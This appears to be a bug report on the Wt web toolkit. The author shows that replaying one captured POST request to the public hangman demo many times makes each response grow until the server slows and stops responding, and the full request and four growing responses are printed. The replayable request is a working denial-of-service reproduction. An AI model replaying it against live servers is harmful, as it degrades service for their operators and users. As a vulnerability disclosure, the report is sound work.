Wt

Using the hangman example provided on the webtoolkit.eu, I could reproduce a DoS vulnerability we encountered on our own servers running wthttpd.

If you capture and resend certain kinds of POST requests to a witty based application, it sends you back a continuously "piling-up" response. This, after a while slows down the server and eventually the server stops responding.

What I did was to press the "New Game" button on the hangman example. This is the request I captured and replayed many times:

@POST /wt/examples/hangman-game/hangman.wt/play?wtd=CpMe3daRC7GwwImq HTTP/1.1
Host: www.webtoolkit.eu
Connection: keep-alive
Content-Length: 300
Origin: https://www.webtoolkit.eu
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: /
Referer: https://www.webtoolkit.eu/wt/examples/hangman-game/hangman.wt/play
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,es;q=0.4
Cookie: _gat=1; _ga=GA1.2.854670646.1466166359

request:jsupdate
signal:saf37
o7rgr7t:1
focus:o7rgr7w
_:/play
tid:o7rgr7w
type:click
clientX:928
clientY:407
documentX:928
documentY:423
dragdX:928
dragdY:423
wheel:--1
screenX:928
screenY:468
scrollX:0
scrollY:0
width:75
height:17
widgetX:16
widgetY:17
button:1
charCode:0
ackId:632444023
pageId:1
:@

These are the requests received, growing each time:

@--------------- RESPONSE 1 ---------------------
Wt.p.response(632444024);{var j39675=Wt3_3_6.$('o7rgr5h');
Wt3_3_6.setHtml(j39675,'\n

Guess the word, guest!

¶

\n ',false);
var j39676=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39676,'/span>/span>/span>/span>/span>/span>/span>');
Wt3_3_6.hide('o7rgr7t');
Wt3_3_6.hide('o7rgr7w');
Wt3_3_6.show('o7rgr5l');
Wt3_3_6.hide('o7rgr5u');
Wt3_3_6.show('o7rgr5x');
Wt.p.setFormObjects([]);}

--------------- RESPONSE 2 ---------------------
Wt.p.response(632444024);{var j39675=Wt3_3_6.$('o7rgr5h');
Wt3_3_6.setHtml(j39675,'\n

Guess the word, guest!

¶

\n ',false);
var j39676=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39676,'/span>/span>/span>/span>/span>/span>/span>');
Wt3_3_6.hide('o7rgr7t');
Wt3_3_6.hide('o7rgr7w');
Wt3_3_6.show('o7rgr5l');
Wt3_3_6.hide('o7rgr5u');
Wt3_3_6.show('o7rgr5x');
Wt.p.setFormObjects([]);}{Wt3_3_6.remove('o7rgr8a');Wt3_3_6.remove('o7rgr89');Wt3_3_6.remove('o7rgr88');Wt3_3_6.remove('o7rgr87');Wt3_3_6.remove('o7rgr86');Wt3_3_6.remove('o7rgr85');Wt3_3_6.remove('o7rgr84');Wt3_3_6.remove('o7rgr83');Wt3_3_6.remove('o7rgr82');Wt3_3_6.remove('o7rgr81');Wt3_3_6.remove('o7rgr80');Wt3_3_6.remove('o7rgr7z');Wt3_3_6.remove('o7rgr7y');Wt3_3_6.remove('o7rgr7x');var j39677=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39677,'/span>/span>/span>/span>/span>/span>/span>-');
Wt3_3_6.show('o7rgr5l');
}

--------------- RESPONSE 3 ---------------------
Wt.p.response(632444024);{var j39675=Wt3_3_6.$('o7rgr5h');
Wt3_3_6.setHtml(j39675,'\n

Guess the word, guest!

¶

\n ',false);
var j39676=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39676,'/span>/span>/span>/span>/span>/span>/span>');
Wt3_3_6.hide('o7rgr7t');
Wt3_3_6.hide('o7rgr7w');
Wt3_3_6.show('o7rgr5l');
Wt3_3_6.hide('o7rgr5u');
Wt3_3_6.show('o7rgr5x');
Wt.p.setFormObjects([]);}{Wt3_3_6.remove('o7rgr8a');Wt3_3_6.remove('o7rgr89');Wt3_3_6.remove('o7rgr88');Wt3_3_6.remove('o7rgr87');Wt3_3_6.remove('o7rgr86');Wt3_3_6.remove('o7rgr85');Wt3_3_6.remove('o7rgr84');Wt3_3_6.remove('o7rgr83');Wt3_3_6.remove('o7rgr82');Wt3_3_6.remove('o7rgr81');Wt3_3_6.remove('o7rgr80');Wt3_3_6.remove('o7rgr7z');Wt3_3_6.remove('o7rgr7y');Wt3_3_6.remove('o7rgr7x');var j39677=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39677,'/span>/span>/span>/span>/span>/span>/span>-');
Wt3_3_6.show('o7rgr5l');
}{Wt3_3_6.remove('o7rgr8p');Wt3_3_6.remove('o7rgr8o');Wt3_3_6.remove('o7rgr8n');Wt3_3_6.remove('o7rgr8m');Wt3_3_6.remove('o7rgr8l');Wt3_3_6.remove('o7rgr8k');Wt3_3_6.remove('o7rgr8j');Wt3_3_6.remove('o7rgr8i');Wt3_3_6.remove('o7rgr8h');Wt3_3_6.remove('o7rgr8g');Wt3_3_6.remove('o7rgr8f');Wt3_3_6.remove('o7rgr8e');Wt3_3_6.remove('o7rgr8d');Wt3_3_6.remove('o7rgr8c');Wt3_3_6.remove('o7rgr8b');var j39678=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39678,'/span>/span>/span>/span>/span>/span>-');
Wt3_3_6.show('o7rgr5l');
}

--------------- RESPONSE 4 ---------------------
Wt.p.response(632444024);{var j39675=Wt3_3_6.$('o7rgr5h');
Wt3_3_6.setHtml(j39675,'\n

Guess the word, guest!

¶

\n ',false);
var j39676=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39676,'/span>/span>/span>/span>/span>/span>/span>');
Wt3_3_6.hide('o7rgr7t');
Wt3_3_6.hide('o7rgr7w');
Wt3_3_6.show('o7rgr5l');
Wt3_3_6.hide('o7rgr5u');
Wt3_3_6.show('o7rgr5x');
Wt.p.setFormObjects([]);}{Wt3_3_6.remove('o7rgr8a');Wt3_3_6.remove('o7rgr89');Wt3_3_6.remove('o7rgr88');Wt3_3_6.remove('o7rgr87');Wt3_3_6.remove('o7rgr86');Wt3_3_6.remove('o7rgr85');Wt3_3_6.remove('o7rgr84');Wt3_3_6.remove('o7rgr83');Wt3_3_6.remove('o7rgr82');Wt3_3_6.remove('o7rgr81');Wt3_3_6.remove('o7rgr80');Wt3_3_6.remove('o7rgr7z');Wt3_3_6.remove('o7rgr7y');Wt3_3_6.remove('o7rgr7x');var j39677=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39677,'/span>/span>/span>/span>/span>/span>/span>-');
Wt3_3_6.show('o7rgr5l');
}{Wt3_3_6.remove('o7rgr8p');Wt3_3_6.remove('o7rgr8o');Wt3_3_6.remove('o7rgr8n');Wt3_3_6.remove('o7rgr8m');Wt3_3_6.remove('o7rgr8l');Wt3_3_6.remove('o7rgr8k');Wt3_3_6.remove('o7rgr8j');Wt3_3_6.remove('o7rgr8i');Wt3_3_6.remove('o7rgr8h');Wt3_3_6.remove('o7rgr8g');Wt3_3_6.remove('o7rgr8f');Wt3_3_6.remove('o7rgr8e');Wt3_3_6.remove('o7rgr8d');Wt3_3_6.remove('o7rgr8c');Wt3_3_6.remove('o7rgr8b');var j39678=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39678,'/span>/span>/span>/span>/span>/span>-');
Wt3_3_6.show('o7rgr5l');
}{Wt3_3_6.remove('o7rgr92');Wt3_3_6.remove('o7rgr91');Wt3_3_6.remove('o7rgr90');Wt3_3_6.remove('o7rgr8z');Wt3_3_6.remove('o7rgr8y');Wt3_3_6.remove('o7rgr8x');Wt3_3_6.remove('o7rgr8w');Wt3_3_6.remove('o7rgr8v');Wt3_3_6.remove('o7rgr8u');Wt3_3_6.remove('o7rgr8t');Wt3_3_6.remove('o7rgr8s');Wt3_3_6.remove('o7rgr8r');Wt3_3_6.remove('o7rgr8q');var j39679=Wt3_3_6.$('o7rgr5i');
Wt3_3_6.setHtml(j39679,'/span>/span>/span>-');
Wt3_3_6.show('o7rgr5l');
}
@